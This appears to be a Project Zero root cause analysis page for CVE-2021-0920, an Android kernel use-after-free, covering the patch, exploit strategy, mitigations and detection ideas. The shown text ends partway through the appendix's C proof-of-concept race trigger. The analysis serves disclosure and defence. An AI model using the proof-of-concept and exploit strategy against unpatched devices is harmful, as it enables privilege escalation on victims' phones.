CINXE.COM
CVE-2021-0920: Android sk_buff use-after-free in Linux | 0-days In-the-Wild
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"><!-- Begin Jekyll SEO tag v2.8.0 --> <title>CVE-2021-0920: Android sk_buff use-after-free in Linux | 0-days In-the-Wild</title> <meta name="generator" content="Jekyll v3.10.0" /> <meta property="og:title" content="CVE-2021-0920: Android sk_buff use-after-free in Linux" /> <meta name="author" content="Google Project Zero" /> <meta property="og:locale" content="en_US" /> <meta name="description" content="Information about 0-days exploited in-the-wild!" /> <meta property="og:description" content="Information about 0-days exploited in-the-wild!" /> <link rel="canonical" href="https://googleprojectzero.github.io/0days-in-the-wild/0days-in-the-wild/0day-RCAs/2021/CVE-2021-0920.html" /> <meta property="og:url" content="https://googleprojectzero.github.io/0days-in-the-wild/0days-in-the-wild/0day-RCAs/2021/CVE-2021-0920.html" /> <meta property="og:site_name" content="0-days In-the-Wild" /> <meta property="og:type" content="website" /> <meta name="twitter:card" content="summary" /> <meta property="twitter:title" content="CVE-2021-0920: Android sk_buff use-after-free in Linux" /> <script type="application/ld+json"> {"@context":"https://schema.org","@type":"WebPage","author":{"@type":"Person","name":"Google Project Zero"},"description":"Information about 0-days exploited in-the-wild!","headline":"CVE-2021-0920: Android sk_buff use-after-free in Linux","url":"https://googleprojectzero.github.io/0days-in-the-wild/0days-in-the-wild/0day-RCAs/2021/CVE-2021-0920.html"}</script> <!-- End Jekyll SEO tag --> <link rel="stylesheet" href="/0days-in-the-wild/assets/main.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto|Source+Code+Pro"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.7/css/all.css"><link type="application/atom+xml" rel="alternate" href="https://googleprojectzero.github.io/0days-in-the-wild/0days-in-the-wild/feed.xml" title="0-days In-the-Wild" /></head> <body><header class="site-header"> <div class="wrapper"> <a class="site-title" rel="author" href="/0days-in-the-wild/">0-days In-the-Wild</a> <nav class="site-nav"> <input type="checkbox" id="nav-trigger" class="nav-trigger" /> <label for="nav-trigger"> <span class="menu-icon"> <svg viewBox="0 0 18 15" width="18px" height="15px"> <path d="M18,1.484c0,0.82-0.665,1.484-1.484,1.484H1.484C0.665,2.969,0,2.304,0,1.484l0,0C0,0.665,0.665,0,1.484,0 h15.032C17.335,0,18,0.665,18,1.484L18,1.484z M18,7.516C18,8.335,17.335,9,16.516,9H1.484C0.665,9,0,8.335,0,7.516l0,0 c0-0.82,0.665-1.484,1.484-1.484h15.032C17.335,6.031,18,6.696,18,7.516L18,7.516z M18,13.516C18,14.335,17.335,15,16.516,15H1.484 C0.665,15,0,14.335,0,13.516l0,0c0-0.82,0.665-1.483,1.484-1.483h15.032C17.335,12.031,18,12.695,18,13.516L18,13.516z"/> </svg> </span> </label> <div class="trigger"> <a href="https://googleprojectzero.github.io/0days-in-the-wild/rca.html" class="page-link">Root Cause Analyses</a> <a href="https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY" class="page-link">Tracking Sheet</a> <a href="https://googleprojectzero.github.io/0days-in-the-wild/contributing.html" class="page-link">Contributing</a> <a href="https://googleprojectzero.github.io/0days-in-the-wild/about.html" class="page-link">About</a> <a href="https://googleprojectzero.blogspot.com/" class="menu-link" target="_blank"><i class="fab fa-blogger"></i></a> <a href="https://bugs.chromium.org/p/project-zero/issues/list" class="menu-link" target="_blank"><i class="fas fa-bug"></i></a> <a href="https://github.com/googleprojectzero/0days-in-the-wild" class="menu-link" target="_blank"><i class="fab fa-github"></i></a> <a href="mailto:0day-in-the-wild@google.com" class="menu-link" target="_blank"><i class="fas fa-envelope"></i></a> </div> </nav> </div> </header> <main class="page-content" aria-label="Content"> <div class="wrapper"> <article class="post"> <header class="post-header"> <h1 class="post-title">CVE-2021-0920: Android sk_buff use-after-free in Linux</h1> </header> <div class="post-content"> <p><em>Xingyu Jin, Android Security Research</em></p> <h2 id="the-basics">The Basics</h2> <p><strong>Disclosure or Patch Date:</strong> November 5, 2021</p> <p>**Product:**Google Android</p> <p><strong>Advisory:</strong> <a href="https://source.android.com/security/bulletin/2021-11-01#kernel-components">https://source.android.com/security/bulletin/2021-11-01#kernel-components</a></p> <p><strong>Affected Versions:</strong> Pre-Nov 5 2021 SPL for devices released prior to Nov 2022</p> <p><strong>First Patched Version:</strong> 5 Nov 2021 SPL+</p> <p><strong>Issue/Bug Report:</strong> A-196926917</p> <p><strong>Patch CL:</strong> <a href="https://android.googlesource.com/kernel/common/+/cbcf01128d0a92e131bd09f1688fe032480b65ca">https://android.googlesource.com/kernel/common/+/cbcf01128d0a92e131bd09f1688fe032480b65ca</a></p> <p><strong>Bug-Introducing CL:</strong> Unknown</p> <p><strong>Reporter(s):</strong> Anonymous</p> <h2 id="the-code">The Code</h2> <p><strong>Proof-of-concept:</strong> See the appendix</p> <p><strong>Exploit sample:</strong> N/A</p> <p><strong>Did you have access to the exploit sample when doing the analysis?</strong> Yes</p> <h2 id="the-vulnerability">The Vulnerability</h2> <p><strong>Bug class:</strong> use-after-free (UAF)</p> <p><strong>Vulnerability details:</strong></p> <p>There is a race condition where the garbage collector can treat an inflight socket as a garbage candidate, while the file reference count is incremented at the same time. This occurs when the syscall <code>recvmsg</code> is called with the <code>MSG_PEEK</code> flag. The accidental increase on the reference count can alter the internal state of the garbage collector and lead to <code>sk_buff</code> object use-after-free. See <a href="https://googleprojectzero.blogspot.com/2022/08/the-quantum-state-of-linux-kernel.html">this blog post</a> for the full explanation.</p> <p><strong>Patch analysis:</strong></p> <p>The kernel forces <code>recvmsg</code> syscall with <code>MSG_PEEK</code> flag to synchronize with GC. By doing so, it’s impossible for the receiver to obtain a file descriptor with an elevated reference count.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">+</span> <span class="n">spin_lock</span><span class="p">(</span><span class="o">&</span><span class="n">unix_gc_lock</span><span class="p">);</span> <span class="o">+</span> <span class="n">spin_unlock</span><span class="p">(</span><span class="o">&</span><span class="n">unix_gc_lock</span><span class="p">);</span> </code></pre></div></div> <p><strong>Thoughts on how this vuln might have been found <em>(fuzzing, code auditing, variant analysis, etc.)</em>:</strong> “fuzzing”: the bug was found in 2016 by a developer who heavily used SCM_RIGHTS + MSG_PEEK.</p> <p><strong>(Historical/present/future) context of bug:</strong> The bug was found in 2016 according to the public Linux kernel email <a href="https://patchwork.ozlabs.org/project/netdev/patch/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/">thread</a>, but the patch was not accepted.</p> <h2 id="the-exploit">The Exploit</h2> <p>(The terms <em>exploit primitive</em>, <em>exploit strategy</em>, <em>exploit technique</em>, and <em>exploit flow</em> are <a href="https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html">defined here</a>.)</p> <p><strong>Exploit strategy (or strategies):</strong></p> <p>The <code>sk_buff->data</code> from the use-after-free <code>sk_buff</code> object may be occupied by a <code>scm_fp_list</code> object, which leads to leak a set of file structure pointers. Since several file structures may occupy an entire newly allocated slab page, the exploit is able to know the page address and control the page content by freeing the corresponding file descriptors and spraying slab pages. The exploit may put several fake pipe structures on a controlled slab page and link up with a file by <code>skb_unlink</code>. Thus, <code>pipe_buffer->page</code> and <code>pipe_buffer->offset</code> can be abused to implement arbitrary read / write primitives.</p> <p><strong>Exploit flow:</strong></p> <p>The vulnerable GC may be tricked into a spectacular convoluted file descriptor transmission scenario with two threads use <code>recvmsg</code> syscall to retrieve transmitted file descriptors at the same time. After GC completes, a thread may receive a use-after-free <code>sk_buff</code> object. Moreover, several additional threads need to perform heap spray, fix kernel structures and manipulate the kernel scheduler in the meantime. To prolong the GC process for winning the race condition, an exploit may intentionally create a number of garbage objects.</p> <p><strong>Known cases of the same exploit flow:</strong></p> <p>No</p> <p><strong>Part of an exploit chain?</strong></p> <p>Yes, this is part of an in the wild Samsung full chain exploit. The other part for RCE is Samsung browser in the wild 0day CVE-2021-38000 and Chrome Nday CVE-2020-16040.</p> <h2 id="the-next-steps">The Next Steps</h2> <h3 id="variant-analysis">Variant analysis</h3> <p><strong>Areas/approach for variant analysis (and why):</strong> code auditing because the GC implementation is too complex for a fuzzer to easily spot any security bugs</p> <p><strong>Found variants:</strong> <a href="https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html">CVE-2021-4083 by Jann Horn</a></p> <h3 id="structural-improvements">Structural improvements</h3> <p>What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?</p> <p><strong>Ideas to kill the bug class:</strong> Have a formal model of the file lifecycle and the GC, or a specialized race fuzzer for fuzzing GC.</p> <p><strong>Ideas to mitigate the exploit flow:</strong> CONFIG_SLAB_FREELIST_RANDOM should be a required mitigation for Android to reduce the possibility of heap shaping.</p> <p><strong>Other potential improvements:</strong> Documenting the precise semantics of the lifecycle states and reference states of complicated kernel structures (e.g. struct file).</p> <h3 id="day-detection-methods">0-day detection methods</h3> <p>What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected <strong>as a 0-day</strong>?</p> <p>Potential signal: a program generates a number of garbage objects, with other suspicious threads that pin different cpu core and tweak task affinity.</p> <h2 id="other-references">Other References</h2> <ul> <li><a href="https://googleprojectzero.blogspot.com/2022/08/the-quantum-state-of-linux-kernel.html">"The Quantum State of Linux Kernel Garbage Collection"</a> by Xingyu Jin on Project Zero Blog</li> </ul> <h2 id="appendix">Appendix</h2> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// aarch64-linux-gnu-gcc-10 poc.c -o poc -static -lpthread</span> <span class="cp">#define _GNU_SOURCE </span><span class="cm">/* See feature_test_macros(7) */</span><span class="cp"> #include</span> <span class="cpf"><fcntl.h></span><span class="cp"> #include</span> <span class="cpf"><pthread.h></span><span class="cp"> #include</span> <span class="cpf"><sched.h></span><span class="cp"> #include</span> <span class="cpf"><stdio.h></span><span class="cp"> #include</span> <span class="cpf"><stdlib.h></span><span class="cp"> #include</span> <span class="cpf"><string.h></span><span class="cp"> #include</span> <span class="cpf"><sys/mman.h></span><span class="cp"> #include</span> <span class="cpf"><sys/resource.h></span><span class="cp"> #include</span> <span class="cpf"><sys/socket.h></span><span class="cp"> #include</span> <span class="cpf"><sys/time.h></span><span class="cp"> #include</span> <span class="cpf"><sys/types.h></span><span class="cp"> #include</span> <span class="cpf"><sys/wait.h></span><span class="cp"> #include</span> <span class="cpf"><time.h></span><span class="cp"> #include</span> <span class="cpf"><unistd.h></span><span class="cp"> </span> <span class="cp">#define __int64 long #define __int8 char </span> <span class="kt">int</span> <span class="n">sv</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="n">pthread_mutex_t</span> <span class="n">condition_mutex_recvmsg</span><span class="p">;</span> <span class="n">pthread_mutex_t</span> <span class="n">condition_mutex_recv</span><span class="p">;</span> <span class="kt">int</span> <span class="n">g_victim_sock_fd</span><span class="p">;</span> <span class="n">pthread_mutex_t</span> <span class="n">condition_mutex_gc</span><span class="p">;</span> <span class="n">pthread_cond_t</span> <span class="n">condition_cond_gc</span><span class="p">;</span> <span class="n">pthread_cond_t</span> <span class="n">condition_cond_recvmsg</span><span class="p">;</span> <span class="c1">// helpers</span> <span class="k">static</span> <span class="kt">void</span> <span class="nf">send_fd</span><span class="p">(</span><span class="kt">int</span> <span class="n">socket</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">)</span> <span class="c1">// send fd by socket</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">msghdr</span> <span class="n">msg</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="n">CMSG_SPACE</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">fd</span><span class="p">))];</span> <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">'\0'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">io</span> <span class="o">=</span> <span class="p">{.</span><span class="n">iov_base</span> <span class="o">=</span> <span class="s">""</span><span class="p">,</span> <span class="p">.</span><span class="n">iov_len</span> <span class="o">=</span> <span class="mi">1</span><span class="p">};</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_iov</span> <span class="o">=</span> <span class="o">&</span><span class="n">io</span><span class="p">;</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_iovlen</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_control</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_controllen</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span> <span class="k">struct</span> <span class="n">cmsghdr</span> <span class="o">*</span><span class="n">cmsg</span> <span class="o">=</span> <span class="n">CMSG_FIRSTHDR</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">);</span> <span class="n">cmsg</span><span class="o">-></span><span class="n">cmsg_level</span> <span class="o">=</span> <span class="n">SOL_SOCKET</span><span class="p">;</span> <span class="n">cmsg</span><span class="o">-></span><span class="n">cmsg_type</span> <span class="o">=</span> <span class="n">SCM_RIGHTS</span><span class="p">;</span> <span class="n">cmsg</span><span class="o">-></span><span class="n">cmsg_len</span> <span class="o">=</span> <span class="n">CMSG_LEN</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">fd</span><span class="p">));</span> <span class="o">*</span><span class="p">((</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">CMSG_DATA</span><span class="p">(</span><span class="n">cmsg</span><span class="p">))</span> <span class="o">=</span> <span class="n">fd</span><span class="p">;</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_controllen</span> <span class="o">=</span> <span class="n">CMSG_SPACE</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">fd</span><span class="p">));</span> <span class="k">if</span> <span class="p">(</span><span class="n">sendmsg</span><span class="p">(</span><span class="n">socket</span><span class="p">,</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror</span><span class="p">(</span><span class="s">"Failed to send message send_fd"</span><span class="p">);</span> <span class="p">}</span> <span class="k">static</span> <span class="kt">void</span> <span class="nf">send_fds</span><span class="p">(</span><span class="kt">int</span> <span class="n">socket</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">fds</span><span class="p">,</span> <span class="kt">int</span> <span class="n">num_fds</span><span class="p">,</span> <span class="kt">int</span> <span class="n">num_iovs</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">msghdr</span> <span class="n">msg</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="n">CMSG_SPACE</span><span class="p">(</span><span class="n">num_fds</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int</span><span class="p">))];</span> <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">'\0'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">io</span><span class="p">[</span><span class="n">num_iovs</span><span class="p">];</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">num_iovs</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">io</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">iov_base</span> <span class="o">=</span> <span class="s">"A"</span><span class="p">;</span> <span class="n">io</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">iov_len</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="p">}</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_iov</span> <span class="o">=</span> <span class="n">io</span><span class="p">;</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_iovlen</span> <span class="o">=</span> <span class="n">num_iovs</span><span class="p">;</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_control</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span> <span class="n">msg</span><span class="p">.</span><span class="n">msg_controllen</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span> <span class="k">struct</span> <span class="n">cmsghdr</span> <span class="o">*</span><span class="n">cmsg</span> <span class="o">=</span> <span class="n">CMSG_FIRSTHDR</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">);</span> <span class="n">cmsg</span><span class="o">-></span><span class="n">cmsg_level</span> <span class="o">=</span> <span class="n">SOL_SOCKET</span><span class="p">;</span> <span class="n">cmsg</span><span class="o">-></span><span class="n">cmsg_type</span> <span class="o">=</span> <span class="n">SCM_RIGHTS</span><span class="p">;</span> <span class="n">cmsg</span><span class="o">-></span><span class="n">cmsg_len</span> <span class="o">=</span> <span class="n">CMSG_LEN</span><span class="p">(</span><span class="n">num_fds</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int</span><span class="p">));</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">cmsg</span><span class="o">-></span><span class="n">__cmsg_data</span><span class="p">,</span> <span class="n">fds</span><span class="p">,</span> <span class="n">num_fds</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int</span><span class="p">));</span> <span class="k">if</span> <span class="p">(</span><span class="n">sendmsg</span><span class="p">(</span><span class="n">socket</span><span class="p">,</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror</span><span class="p">(</span><span class="s">"Failed to send message send_fds"</span><span class="p">);</span> <span class="p">}</span> <span class="n">__int64</span> <span class="nf">pin_cpu</span><span class="p">(</span><span class="kt">int</span> <span class="n">core_id</span><span class="p">)</span> <span class="p">{</span> <span class="n">cpu_set_t</span> <span class="n">mask</span><span class="p">;</span> <span class="n">CPU_ZERO</span><span class="p">(</span><span class="o">&</span><span class="n">mask</span><span class="p">);</span> <span class="n">CPU_SET</span><span class="p">(</span><span class="n">core_id</span><span class="p">,</span> <span class="o">&</span><span class="n">mask</span><span class="p">);</span> <span class="k">return</span> <span class="n">sched_setaffinity</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mask</span><span class="p">),</span> <span class="o">&</span><span class="n">mask</span><span class="p">);</span> <span class="p">}</span> <span class="c1">// thread to trigger unix_gc()</span> <span class="kt">void</span> <span class="nf">t_main_gc_simple</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a2</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span> <span class="n">setpriority</span><span class="p">(</span><span class="n">PRIO_PROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">19</span><span class="p">);</span> <span class="n">pin_cpu</span><span class="p">(</span><span class="mi">3LL</span><span class="p">);</span> <span class="n">pthread_mutex_lock</span><span class="p">(</span><span class="o">&</span><span class="n">condition_mutex_gc</span><span class="p">);</span> <span class="n">pthread_cond_wait</span><span class="p">(</span><span class="o">&</span><span class="n">condition_cond_gc</span><span class="p">,</span> <span class="o">&</span><span class="n">condition_mutex_gc</span><span class="p">);</span> <span class="n">pthread_mutex_unlock</span><span class="p">(</span><span class="o">&</span><span class="n">condition_mutex_gc</span><span class="p">);</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// AF_LOCAL, SOCK_STREAM</span> <span class="n">v3</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="n">setpriority</span><span class="p">(</span><span class="n">PRIO_PROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">18</span><span class="p">);</span> <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> <span class="n">pthread_cond_signal</span><span class="p">(</span><span class="o">&</span><span class="n">condition_cond_recvmsg</span><span class="p">);</span> <span class="n">close</span><span class="p">(</span><span class="n">v3</span><span class="p">);</span> <span class="n">usleep</span><span class="p">(</span><span class="mh">0x186A0u</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="n">fd_34</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="kt">int</span> <span class="n">local_spair</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="n">__int64</span> <span class="nf">setup_race</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span> <span class="p">{</span> <span class="n">__int64</span> <span class="n">result</span><span class="p">;</span> <span class="n">__int64</span> <span class="n">v3</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v4</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">[</span><span class="mi">710</span><span class="p">];</span> <span class="kt">int</span> <span class="n">local_spair</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="kt">int</span> <span class="n">prio</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span> <span class="kt">int</span> <span class="n">j</span><span class="p">;</span> <span class="kt">int</span> <span class="n">k</span><span class="p">;</span> <span class="kt">signed</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">setpriority</span><span class="p">(</span><span class="n">PRIO_PROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">19</span><span class="p">);</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> <span class="n">usleep</span><span class="p">(</span><span class="mh">0x61A80u</span><span class="p">);</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">socketpair</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">fd_34</span><span class="p">);</span> <span class="n">send_fd</span><span class="p">(</span><span class="n">sv</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">fd_34</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="n">send_fd</span><span class="p">(</span><span class="n">fd_34</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">fd_34</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">99</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="n">socketpair</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">v5</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">510</span><span class="p">]);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><=</span> <span class="mi">4</span><span class="p">;</span> <span class="o">++</span><span class="n">k</span><span class="p">)</span> <span class="n">v5</span><span class="p">[</span><span class="mi">5</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">10</span> <span class="o">+</span> <span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">99</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="n">send_fd</span><span class="p">(</span><span class="n">fd_34</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">v5</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">511</span><span class="p">]);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o"><=</span> <span class="mi">4</span><span class="p">;</span> <span class="o">++</span><span class="n">k</span><span class="p">)</span> <span class="p">{</span> <span class="n">send_fd</span><span class="p">(</span><span class="n">v5</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">510</span><span class="p">],</span> <span class="n">v5</span><span class="p">[</span><span class="mi">5</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">10</span> <span class="o">+</span> <span class="n">k</span><span class="p">]);</span> <span class="n">close</span><span class="p">(</span><span class="n">v5</span><span class="p">[</span><span class="mi">5</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">10</span> <span class="o">+</span> <span class="n">k</span><span class="p">]);</span> <span class="p">}</span> <span class="n">close</span><span class="p">(</span><span class="n">v5</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">511</span><span class="p">]);</span> <span class="n">close</span><span class="p">(</span><span class="n">v5</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">510</span><span class="p">]);</span> <span class="p">}</span> <span class="n">close</span><span class="p">(</span><span class="n">fd_34</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="n">close</span><span class="p">(</span><span class="n">fd_34</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span> <span class="n">usleep</span><span class="p">(</span><span class="mh">0x186A0u</span><span class="p">);</span> <span class="n">pthread_cond_signal</span><span class="p">(</span><span class="o">&</span><span class="n">condition_cond_gc</span><span class="p">);</span> <span class="n">usleep</span><span class="p">(</span><span class="mh">0x186A0u</span><span class="p">);</span> <span class="n">close</span><span class="p">(</span><span class="n">sv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span> <span class="p">}</span> <span class="n">__int64</span> <span class="nf">t_recvmsg</span><span class="p">()</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">v0</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="kt">int</span> <span class="o">*</span><span class="n">v2</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="n">__int64</span> <span class="n">v6</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="n">cpu_set_t</span> <span class="n">v8</span><span class="p">;</span> <span class="kt">char</span> <span class="n">v9</span><span class="p">;</span> <span class="kt">long</span> <span class="n">v10</span><span class="p">[</span><span class="mi">130</span><span class="p">];</span> <span class="k">struct</span> <span class="n">msghdr</span> <span class="n">v11</span><span class="p">;</span> <span class="kt">long</span> <span class="n">received_fds</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v14</span><span class="p">;</span> <span class="kt">int</span> <span class="o">*</span><span class="n">received_fds_ptr</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v16</span><span class="p">;</span> <span class="kt">int</span> <span class="n">v17</span><span class="p">;</span> <span class="n">setpriority</span><span class="p">(</span><span class="n">PRIO_PROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">20</span><span class="p">);</span> <span class="n">v9</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">v11</span><span class="p">,</span> <span 